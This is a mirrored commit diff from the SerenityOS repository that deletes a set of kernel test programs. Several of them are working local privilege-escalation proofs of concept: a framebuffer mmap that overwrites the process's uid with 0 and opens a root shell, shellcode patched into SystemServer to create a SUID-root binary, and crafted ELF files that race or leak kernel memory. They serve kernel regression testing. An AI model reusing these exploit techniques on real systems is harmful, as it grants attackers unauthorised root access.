mirror of
https://github.com/RGBCube/serenity
synced 2025-07-25 23:17:45 +00:00
Tests: Build automatically, fix compilation errors
This commit is contained in:
parent
538b985487
commit
29eceebdbf
21 changed files with 31 additions and 1 deletions
|
@ -1,31 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
constexpr const char* path = "/tmp/foo";
|
||||
int rc = symlink("bar", path);
|
||||
if (rc < 0) {
|
||||
perror("symlink");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
if (fd < 0) {
|
||||
perror("socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
struct sockaddr_un addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sun_family = AF_UNIX;
|
||||
strncpy(addr.sun_path, path, sizeof(addr.sun_path) - 1);
|
||||
|
||||
rc = bind(fd, (struct sockaddr*)(&addr), sizeof(addr));
|
||||
if (rc < 0 && errno == EADDRINUSE)
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
|
@ -1,92 +0,0 @@
|
|||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("/dev/fb0", O_RDWR);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
size_t width = 17825;
|
||||
size_t height = 1000;
|
||||
size_t pitch = width * 4;
|
||||
size_t framebuffer_size_in_bytes = pitch * height * 2;
|
||||
|
||||
FBResolution original_resolution;
|
||||
if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
FBResolution resolution;
|
||||
resolution.width = width;
|
||||
resolution.height = height;
|
||||
resolution.pitch = pitch;
|
||||
|
||||
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Success! Evil pointer: %p\n", ptr);
|
||||
|
||||
u8* base = &ptr[128 * MB];
|
||||
|
||||
uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
|
||||
printf("base = %p\n", base);
|
||||
printf("g_processes = %#08x\n", g_processes);
|
||||
|
||||
auto get_ptr = [&](uintptr_t value) -> void* {
|
||||
value -= 0xc0000000;
|
||||
return (void*)&base[value];
|
||||
};
|
||||
|
||||
struct ProcessList {
|
||||
uintptr_t head;
|
||||
uintptr_t tail;
|
||||
};
|
||||
|
||||
struct Process {
|
||||
// 32 next
|
||||
// 40 pid
|
||||
// 44 uid
|
||||
u8 dummy[32];
|
||||
uintptr_t next;
|
||||
u8 dummy2[4];
|
||||
pid_t pid;
|
||||
uid_t uid;
|
||||
};
|
||||
|
||||
ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
|
||||
|
||||
Process* process = (Process*)get_ptr(process_list->head);
|
||||
|
||||
printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next);
|
||||
|
||||
if (process->pid == getpid()) {
|
||||
printf("That's me! Let's become r00t!\n");
|
||||
process->uid = 0;
|
||||
}
|
||||
|
||||
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
execl("/bin/sh", "sh", nullptr);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,46 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
int rc = fcntl(0, -42);
|
||||
if (rc != -1) {
|
||||
printf("FAIL: rc was %d, instead of -1\n", rc);
|
||||
return 1;
|
||||
} else if (errno != EINVAL) {
|
||||
printf("FAIL: errno was %d, instead of EINVAL=%d\n", errno, EINVAL);
|
||||
return 1;
|
||||
} else {
|
||||
printf("PASS\n");
|
||||
}
|
||||
return 0;
|
||||
}
|
|
@ -1,128 +0,0 @@
|
|||
#include <LibELF/exec_elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
volatile bool hax = false;
|
||||
|
||||
int main()
|
||||
{
|
||||
char buffer[16384];
|
||||
|
||||
auto& header = *(Elf32_Ehdr*)buffer;
|
||||
header.e_ident[EI_MAG0] = ELFMAG0;
|
||||
header.e_ident[EI_MAG1] = ELFMAG1;
|
||||
header.e_ident[EI_MAG2] = ELFMAG2;
|
||||
header.e_ident[EI_MAG3] = ELFMAG3;
|
||||
header.e_ident[EI_CLASS] = ELFCLASS32;
|
||||
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
||||
header.e_ident[EI_VERSION] = EV_CURRENT;
|
||||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
||||
header.e_ident[EI_ABIVERSION] = 0;
|
||||
header.e_type = ET_EXEC;
|
||||
header.e_version = EV_CURRENT;
|
||||
header.e_ehsize = sizeof(Elf32_Ehdr);
|
||||
header.e_machine = EM_386;
|
||||
header.e_shentsize = sizeof(Elf32_Shdr);
|
||||
|
||||
header.e_phnum = 1;
|
||||
header.e_phoff = 52;
|
||||
header.e_phentsize = sizeof(Elf32_Phdr);
|
||||
|
||||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
||||
ph[0].p_vaddr = 0x20000000;
|
||||
ph[0].p_type = PT_LOAD;
|
||||
ph[0].p_filesz = sizeof(buffer);
|
||||
ph[0].p_memsz = sizeof(buffer);
|
||||
ph[0].p_flags = PF_R | PF_W;
|
||||
ph[0].p_align = PAGE_SIZE;
|
||||
|
||||
header.e_shnum = 3;
|
||||
header.e_shoff = 1024;
|
||||
|
||||
u32 secret_address = 0x00184658;
|
||||
|
||||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
||||
sh[0].sh_type = SHT_SYMTAB;
|
||||
sh[0].sh_offset = 2048;
|
||||
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
||||
sh[0].sh_size = 1 * sizeof(Elf32_Sym);
|
||||
|
||||
sh[1].sh_type = SHT_STRTAB;
|
||||
sh[1].sh_offset = secret_address - 0x01001000;
|
||||
sh[1].sh_entsize = 0;
|
||||
sh[1].sh_size = 1024;
|
||||
|
||||
sh[2].sh_type = SHT_STRTAB;
|
||||
sh[2].sh_offset = 4096;
|
||||
sh[2].sh_entsize = 0;
|
||||
sh[2].sh_size = 1024;
|
||||
header.e_shstrndx = 2;
|
||||
|
||||
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
||||
sym[0].st_value = 0;
|
||||
sym[0].st_name = 0;
|
||||
|
||||
header.e_entry = 0;
|
||||
|
||||
int fd = open("x", O_RDWR | O_CREAT, 0777);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int nwritten = write(fd, buffer, sizeof(buffer));
|
||||
if (nwritten < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
sync();
|
||||
|
||||
auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
|
||||
if (mapped == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
|
||||
|
||||
pthread_attr_t attrs;
|
||||
pthread_attr_init(&attrs);
|
||||
sched_param high_prio { 99 };
|
||||
pthread_attr_setschedparam(&attrs, &high_prio);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(
|
||||
&t, &attrs, [](void* ctx) -> void* {
|
||||
auto& ph = *(volatile Elf32_Phdr*)ctx;
|
||||
for (;;) {
|
||||
if (!hax)
|
||||
ph.p_offset = 0x60000000;
|
||||
else
|
||||
ph.p_offset = 0;
|
||||
hax = !hax;
|
||||
usleep(1);
|
||||
}
|
||||
return nullptr;
|
||||
},
|
||||
&writable_program_headers[0]);
|
||||
|
||||
for (;;) {
|
||||
|
||||
if (!fork()) {
|
||||
try_again:
|
||||
printf("exec\n");
|
||||
if (execl("/home/anon/x", "x", nullptr) < 0) {
|
||||
}
|
||||
goto try_again;
|
||||
}
|
||||
|
||||
printf("waitpid\n");
|
||||
waitpid(-1, nullptr, 0);
|
||||
}
|
||||
return 0;
|
||||
}
|
|
@ -1,106 +0,0 @@
|
|||
#include <LibELF/exec_elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
asm("haxcode:\n"
|
||||
"1: jmp 1b\n"
|
||||
"haxcode_end:\n");
|
||||
|
||||
extern "C" void haxcode();
|
||||
extern "C" void haxcode_end();
|
||||
|
||||
int main()
|
||||
{
|
||||
char buffer[16384];
|
||||
|
||||
auto& header = *(Elf32_Ehdr*)buffer;
|
||||
header.e_ident[EI_MAG0] = ELFMAG0;
|
||||
header.e_ident[EI_MAG1] = ELFMAG1;
|
||||
header.e_ident[EI_MAG2] = ELFMAG2;
|
||||
header.e_ident[EI_MAG3] = ELFMAG3;
|
||||
header.e_ident[EI_CLASS] = ELFCLASS32;
|
||||
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
||||
header.e_ident[EI_VERSION] = EV_CURRENT;
|
||||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
||||
header.e_ident[EI_ABIVERSION] = 0;
|
||||
header.e_type = ET_EXEC;
|
||||
header.e_version = EV_CURRENT;
|
||||
header.e_ehsize = sizeof(Elf32_Ehdr);
|
||||
header.e_machine = EM_386;
|
||||
header.e_shentsize = sizeof(Elf32_Shdr);
|
||||
|
||||
header.e_phnum = 1;
|
||||
header.e_phoff = 52;
|
||||
header.e_phentsize = sizeof(Elf32_Phdr);
|
||||
|
||||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
||||
ph[0].p_vaddr = 0x20000000;
|
||||
ph[0].p_type = PT_LOAD;
|
||||
ph[0].p_filesz = sizeof(buffer);
|
||||
ph[0].p_memsz = sizeof(buffer);
|
||||
ph[0].p_flags = PF_R | PF_X;
|
||||
ph[0].p_align = PAGE_SIZE;
|
||||
|
||||
header.e_shnum = 3;
|
||||
header.e_shoff = 1024;
|
||||
|
||||
u32 secret_address = 0x00184658;
|
||||
|
||||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
||||
sh[0].sh_type = SHT_SYMTAB;
|
||||
sh[0].sh_offset = 2048;
|
||||
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
||||
sh[0].sh_size = 2 * sizeof(Elf32_Sym);
|
||||
|
||||
sh[1].sh_type = SHT_STRTAB;
|
||||
sh[1].sh_offset = secret_address - 0x01001000;
|
||||
sh[1].sh_entsize = 0;
|
||||
sh[1].sh_size = 1024;
|
||||
|
||||
sh[2].sh_type = SHT_STRTAB;
|
||||
sh[2].sh_offset = 4096;
|
||||
sh[2].sh_entsize = 0;
|
||||
sh[2].sh_size = 1024;
|
||||
header.e_shstrndx = 2;
|
||||
|
||||
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
||||
sym[0].st_value = 0x20002000;
|
||||
sym[0].st_name = 0;
|
||||
|
||||
sym[1].st_value = 0x30000000;
|
||||
sym[1].st_name = 0;
|
||||
|
||||
auto* strtab = (char*)&buffer[3072];
|
||||
strcpy(strtab, "sneaky!");
|
||||
|
||||
auto* shstrtab = (char*)&buffer[4096];
|
||||
strcpy(shstrtab, ".strtab");
|
||||
|
||||
auto* code = &buffer[8192];
|
||||
size_t haxcode_size = (u32)haxcode_end - (u32)haxcode;
|
||||
printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
|
||||
memcpy(code, (void*)haxcode, haxcode_size);
|
||||
|
||||
header.e_entry = 0x20000000 + 8192;
|
||||
|
||||
int fd = open("x", O_RDWR | O_CREAT, 0777);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int nwritten = write(fd, buffer, sizeof(buffer));
|
||||
if (nwritten < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (execl("/home/anon/x", "x", nullptr) < 0) {
|
||||
perror("execl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,70 +0,0 @@
|
|||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("/bin/SystemServer", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
|
||||
perror("mprotect");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
|
||||
* It does two things:
|
||||
*
|
||||
* chown ("/home/anon/own", 0, 0);
|
||||
* chmod ("/home/anon/own", 04755);
|
||||
*
|
||||
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
|
||||
*
|
||||
*/
|
||||
|
||||
#if 0
|
||||
[bits 32]
|
||||
[org 0x0804b111]
|
||||
jmp $+17
|
||||
path:
|
||||
db "/home/anon/own", 0
|
||||
mov eax, 79
|
||||
mov edx, path
|
||||
mov ecx, 0
|
||||
mov ebx, 0
|
||||
int 0x82
|
||||
mov eax, 67
|
||||
mov edx, path
|
||||
mov ecx, 15
|
||||
mov ebx, 2541
|
||||
int 0x82
|
||||
ret
|
||||
#endif
|
||||
|
||||
const u8 payload[] = {
|
||||
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
|
||||
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
|
||||
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
|
||||
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
|
||||
};
|
||||
|
||||
memcpy(&ptr[0x3111], payload, sizeof(payload));
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,155 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <assert.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static void signal_printer(int)
|
||||
{
|
||||
// no-op
|
||||
}
|
||||
|
||||
typedef struct yank_shared_t {
|
||||
timespec* remaining_sleep;
|
||||
// TODO: Be nice and use thread ID
|
||||
//pthread_t sleeper_thread;
|
||||
} yank_shared_t;
|
||||
|
||||
static void* yanker_fn(void* shared_)
|
||||
{
|
||||
yank_shared_t* shared = static_cast<yank_shared_t*>(shared_);
|
||||
|
||||
timespec requested_sleep = { 1, 0 };
|
||||
int rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker: Failed during sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
delete shared->remaining_sleep; // T2
|
||||
|
||||
// Send SIGUSR1.
|
||||
|
||||
// Use pthread:
|
||||
// pthread_kill(somewhere, SIGUSR1);
|
||||
// But wait! pthread_kill isn't implemented yet, and therefore causes
|
||||
// a linker error. It also looks like the corresponding syscall is missing.
|
||||
|
||||
// Use normal IPC syscall:
|
||||
// kill(getpid(), SIGUSR1);
|
||||
// But wait! If destination_pid == own_pid, then the signal is sent
|
||||
// to the calling thread, *no matter what*.
|
||||
|
||||
// So, we have to go the very ugly route of fork():
|
||||
// (Thank goodness this is only a demo of a kernel bug!)
|
||||
pid_t pid_to_kill = getpid();
|
||||
|
||||
pid_t child_pid = fork();
|
||||
if (child_pid < 0) {
|
||||
printf("Yanker: Fork failed: %d\n", child_pid);
|
||||
pthread_exit(nullptr); // See below
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
if (child_pid > 0) {
|
||||
// Success. Terminate quickly. T3
|
||||
// FIXME: LibPthread bug: returning during normal operation causes nullptr deref.
|
||||
// Workaround: Exit manually.
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Give parent *thread* a moment to die.
|
||||
requested_sleep = { 1, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker-child: Failed during sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Prod the parent *process*
|
||||
kill(pid_to_kill, SIGUSR1); // T4
|
||||
|
||||
// Wait a moment, to ensure the log output is as well-separated as possible.
|
||||
requested_sleep = { 2, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker-child: Failed during after-sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
pthread_exit(nullptr);
|
||||
assert(false);
|
||||
// FIXME: return nullptr;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// Chronological order:
|
||||
// T0: Main thread allocates region for the outvalue of clock_nanosleep
|
||||
// T1: Main thread enters clock_nanosleep
|
||||
// T2: Side thread deallocates that region
|
||||
// T3: Side thread dies
|
||||
// T4: A different process sends SIGUSR1, waking up the main thread,
|
||||
// forcing the kernel to write to the deallocated Region.
|
||||
|
||||
// I'm sorry that both a side *thread* and a side *process* are necessary.
|
||||
// Maybe in the future this test can be simplified, see above.
|
||||
|
||||
yank_shared_t shared = { nullptr };
|
||||
shared.remaining_sleep = new timespec({ 0xbad, 0xf00d }); // T0
|
||||
|
||||
pthread_t yanker_thread;
|
||||
int rc = pthread_create(&yanker_thread, nullptr, yanker_fn, &shared);
|
||||
if (rc != 0) {
|
||||
perror("pthread");
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set an action for SIGUSR1, so that the sleep can be interrupted:
|
||||
signal(SIGUSR1, signal_printer);
|
||||
|
||||
// T1: Go to sleep.
|
||||
const timespec requested_sleep = { 3, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, shared.remaining_sleep);
|
||||
// Now we are beyond T4.
|
||||
|
||||
if (rc == 0) {
|
||||
// We somehow weren't interrupted. Bad.
|
||||
printf("Not interrupted.\n");
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// nanosleep was interrupted and the kernel didn't crash. Good!
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,36 +0,0 @@
|
|||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/select.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int pipefds[2];
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pipe(pipefds);
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
printf("ST: close()\n");
|
||||
close(pipefds[1]);
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
fd_set rfds;
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(pipefds[1], &rfds);
|
||||
|
||||
printf("MT: select()\n");
|
||||
int rc = select(pipefds[1] + 1, &rfds, nullptr, nullptr, nullptr);
|
||||
if (rc < 0) {
|
||||
perror("select");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,21 +0,0 @@
|
|||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/select.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
asm volatile("ud2");
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
pthread_join(tid, nullptr);
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,16 +0,0 @@
|
|||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
if (!fork()) {
|
||||
for (;;) {
|
||||
mkdir("/tmp/x", 0666);
|
||||
rmdir("/tmp/x");
|
||||
}
|
||||
}
|
||||
for (;;) {
|
||||
chdir("/tmp/x");
|
||||
}
|
||||
return 0;
|
||||
}
|
|
@ -1,25 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
int res = pledge("stdio unix rpath", "stdio");
|
||||
if (res < 0) {
|
||||
perror("pledge");
|
||||
return 1;
|
||||
}
|
||||
|
||||
res = pledge("stdio unix", "stdio unix");
|
||||
if (res >= 0) {
|
||||
fprintf(stderr, "second pledge should have failed\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
res = pledge("stdio rpath", "stdio");
|
||||
if (res < 0) {
|
||||
perror("pledge");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,71 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <pthread.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <ctime>
|
||||
#include <cstring>
|
||||
#include <cassert>
|
||||
|
||||
struct worker_t
|
||||
{
|
||||
const char* name;
|
||||
int count;
|
||||
pthread_t thread;
|
||||
pthread_mutex_t lock;
|
||||
pthread_cond_t cond;
|
||||
long int wait_time;
|
||||
};
|
||||
|
||||
void* run_worker(void* args)
|
||||
{
|
||||
struct timespec time_to_wait = {0, 0};
|
||||
worker_t* worker = (worker_t*)args;
|
||||
worker->count = 0;
|
||||
|
||||
while (worker->count < 25) {
|
||||
time_to_wait.tv_sec = time(nullptr) + worker->wait_time;
|
||||
pthread_mutex_lock(&worker->lock);
|
||||
int rc = pthread_cond_timedwait(&worker->cond, &worker->lock, &time_to_wait);
|
||||
|
||||
// Validate return code is always timed out.
|
||||
assert(rc == -1);
|
||||
assert(errno == ETIMEDOUT);
|
||||
|
||||
worker->count++;
|
||||
printf("Increase worker[%s] count to [%d]\n", worker->name, worker->count);
|
||||
pthread_mutex_unlock(&worker->lock);
|
||||
}
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
void init_worker(worker_t* worker, const char* name, long int wait_time)
|
||||
{
|
||||
worker->name = name;
|
||||
worker->wait_time = wait_time;
|
||||
|
||||
pthread_attr_t attr;
|
||||
pthread_attr_init(&attr);
|
||||
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
|
||||
|
||||
pthread_mutex_init(&worker->lock, nullptr);
|
||||
pthread_cond_init(&worker->cond, nullptr);
|
||||
pthread_create(&worker->thread, &attr, &run_worker, (void*) worker);
|
||||
|
||||
pthread_attr_destroy(&attr);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
worker_t worker_a;
|
||||
init_worker(&worker_a, "A", 2L);
|
||||
|
||||
worker_t worker_b;
|
||||
init_worker(&worker_b, "B", 4L);
|
||||
|
||||
pthread_join(worker_a.thread, nullptr);
|
||||
pthread_join(worker_b.thread, nullptr);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
|
@ -1,30 +0,0 @@
|
|||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int pipefds[2];
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pipe(pipefds);
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
printf("Second thread closing pipes!\n");
|
||||
close(pipefds[0]);
|
||||
close(pipefds[1]);
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
printf("First thread doing a blocking read from pipe...\n");
|
||||
char buffer[16];
|
||||
int nread = read(pipefds[0], buffer, sizeof(buffer));
|
||||
printf("Ok, read %d bytes from pipe\n", nread);
|
||||
|
||||
return 0;
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue